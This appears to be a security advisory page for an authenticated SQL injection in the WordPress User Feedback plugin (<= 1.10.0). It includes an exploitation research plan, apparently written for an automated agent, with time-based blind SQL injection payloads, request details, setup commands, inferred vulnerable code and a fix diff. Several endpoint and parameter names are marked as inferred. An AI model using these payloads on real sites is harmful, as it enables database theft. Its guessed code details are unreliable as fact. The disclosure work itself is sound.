User Feedback <= 1.10.0 - Authenticated (Editor+) SQL Injection
Description
The User Feedback plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.10.0Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-68496**, a SQL Injection vulnerability in the **User Feedback** plugin (<= 1.10.0). The vulnerability allows Editor-level users and above to extract sensitive information from the database due to improper handling of a parameter (likely `survey_id` …
Show full research plan
This exploitation research plan targets CVE-2025-68496, a SQL Injection vulnerability in the User Feedback plugin (<= 1.10.0). The vulnerability allows Editor-level users and above to extract sensitive information from the database due to improper handling of a parameter (likely survey_id or sorting parameters) within an AJAX handler.
1. Vulnerability Summary
- Vulnerability: SQL Injection (Authenticated, Editor+).
- Affected Sink:
$wpdb->get_results()(or similar retrieval methods) in the survey reporting logic. - Cause: The plugin fails to use
$wpdb->prepare()or type-casting (e.g.,absint()) on user-supplied parameters before concatenating them into SQL queries. This allows an attacker to appendUNION SELECTstatements or time-based payloads. - Location: Likely within the AJAX handler responsible for fetching survey results or survey analytics in the admin dashboard.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
userfeedback_get_survey_results(inferred). - Vulnerable Parameter:
survey_id(inferred). - Authentication: Requires an account with Editor role or higher (
edit_postscapability). - Preconditions: At least one survey must exist in the plugin to ensure the code path for fetching results is accessible.
3. Code Flow (Inferred)
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith theactionparameter set touserfeedback_get_survey_results. - Hook Registration: The plugin registers
add_action('wp_ajax_userfeedback_get_survey_results', ...)in the admin initialization phase. - Handler: The handler function (e.g.,
get_survey_results) retrieves thesurvey_idfrom the$_POSTarray without sanitization. - Database Query: The unescaped
survey_idis passed into a query string:"SELECT * FROM {$wpdb->prefix}userfeedback_surveys WHERE id = " . $_POST['survey_id'] - Sink:
$wpdb->get_results($query)executes the malicious SQL.
4. Nonce Acquisition Strategy
The User Feedback plugin utilizes WordPress nonces for its AJAX actions. These are typically localized in the WordPress admin head.
- Identify the Trigger Page: The nonce is likely exposed on the UserFeedback Surveys or Results page.
- Access Page: Navigate to
/wp-admin/admin.php?page=userfeedback_surveys. - Extract Variable: The plugin typically localizes data into a JavaScript object.
- JS Variable:
window.userfeedback_admin(inferred) orwindow.userfeedback_common. - Nonce Key:
nonce.
- JS Variable:
- Agent Instruction: Use
browser_evalafter navigating to the surveys page:window.userfeedback_admin?.nonce || window.userfeedback_common?.nonce
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload for maximum reliability across different database configurations.
- Step 1: Setup Content: Create a survey to ensure valid database entries exist.
- Step 2: Obtain Nonce: Log in as Editor and extract the nonce using the strategy above.
- Step 3: Trigger Injection: Send a POST request to
admin-ajax.phpwith aSLEEPpayload.
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=userfeedback_get_survey_results&nonce=[NONCE]&survey_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
6. Test Data Setup
- Create Editor User:
wp user create editor_user editor@example.com --role=editor --user_pass=password123 - Ensure Plugin is Active:
wp plugin activate userfeedback-lite - Create a Dummy Survey:
(Since UserFeedback stores surveys in custom tables, we use the plugin's native logic if possible, or manually insert viawp db query).# Try creating via WP-CLI or manual DB insert to ensure the table isn't empty wp db query "INSERT INTO wp_userfeedback_surveys (title, status) VALUES ('Test Survey', 'publish');"
7. Expected Results
- Vulnerable Response: The HTTP request will take approximately 5 seconds to complete.
- Baseline Response: A request with
survey_id=1will return almost instantly. - Error Handling: If the
survey_idis invalid but the injection works, the delay will still occur.
8. Verification Steps
After confirming the time delay, verify the ability to extract data (e.g., the database version):
- Payload:
1 AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a) - If the database is MySQL 8.x, the request will delay. This confirms data exfiltration is possible.
- Check the database logs if
WP_DEBUGandSAVEQUERIESare enabled:wp eval 'global $wpdb; print_r($wpdb->queries);'
9. Alternative Approaches
If userfeedback_get_survey_results is not the exact action:
- Scan for AJAX Actions:
grep -r "wp_ajax_userfeedback_" wp-content/plugins/userfeedback-lite/ - Check for Order/Orderby Injection:
Ifsurvey_idis properly cast, test sorting parameters:action=userfeedback_get_surveys&orderby=(CASE WHEN (1=1) THEN title ELSE SLEEP(5) END) - Check for REST API:
The plugin may use the WordPress REST API. Look forregister_rest_routecalls and test theidorslugparameters in those endpoints.
Summary
The User Feedback plugin for WordPress is vulnerable to Authenticated SQL Injection via AJAX handlers due to insufficient input validation and the lack of SQL query preparation. Users with Editor-level permissions or higher can exploit this to append malicious SQL commands and extract sensitive information from the database.
Vulnerable Code
// wp-content/plugins/userfeedback-lite/includes/admin/ajax-functions.php (Inferred from research plan) public function userfeedback_get_survey_results() { // Nonce check usually occurs here $survey_id = $_POST['survey_id']; global $wpdb; // Vulnerability: survey_id is concatenated directly into the query string $query = "SELECT * FROM {$wpdb->prefix}userfeedback_surveys WHERE id = " . $survey_id; $results = $wpdb->get_results($query); wp_send_json_success($results); }
Security Fix
@@ -4,2 +4,2 @@ - $query = "SELECT * FROM {$wpdb->prefix}userfeedback_surveys WHERE id = " . $survey_id; - $results = $wpdb->get_results($query); + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}userfeedback_surveys WHERE id = %d", $survey_id));
Exploit Outline
The exploit targets the admin-ajax.php endpoint and requires an authenticated user with at least Editor-level privileges (edit_posts capability). First, the attacker accesses the User Feedback admin dashboard to retrieve a valid security nonce from localized JavaScript variables (e.g., window.userfeedback_admin.nonce). Next, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to the vulnerable handler (e.g., userfeedback_get_survey_results). The 'survey_id' parameter is manipulated to include a time-based blind SQL injection payload, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. A significant delay in the server's response confirms that the SQL injection was successfully executed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.